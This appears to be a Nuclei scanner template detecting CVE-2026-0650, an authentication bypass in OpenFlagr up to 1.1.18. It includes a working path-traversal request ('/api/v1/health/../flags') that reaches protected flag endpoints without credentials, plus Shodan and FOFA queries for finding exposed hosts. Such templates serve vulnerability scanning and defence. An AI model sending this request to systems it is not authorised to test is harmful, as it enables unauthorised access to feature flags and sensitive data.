id: CVE-2026-0650
info:
name: OpenFlagr <= 1.1.18 - Authentication Bypass
author: str4k3r
severity: critical
description: |
OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.
impact: |
Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality.
remediation: |
Update to the latest version beyond 1.1.18.
reference:
- https://github.com/advisories/GHSA-rwp9-5g7q-73q3
- https://github.com/openflagr/flagr/commit/fe83dc87aa404a57554aa5839ac450f55c203570
- https://dreyand.rs/code%20review/golang/2026/01/03/0day-speedrun-openflagr-less-1118-authentication-bypass
- https://nvd.nist.gov/vuln/detail/CVE-2026-0650
classification:
cve-id: CVE-2026-0650
epss-score: 0.01316
epss-percentile: 0.69164
cwe-id: CWE-22
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
metadata:
vendor: openflagr
product: flagr
verified: true
max-request: 1
shodan-query: http.html:"Flagr"
fofa-query: body="Flagr"
tags: cve,cve2026,openflagr,authbypass,unauth,traversal
http:
- raw:
- |
GET /api/v1/health/../flags HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")'
condition: and
# digest: 4a0a00473045022028e748372eb1b67c7b3aa8f7b4cd36783526d6f543696f76e59673173ad4f4b3022100d81af862fe90ff1116ba5987def76df6e52c828ae6114f50d51528ebb0715537:922c64590222798bb761d5b6d8e72950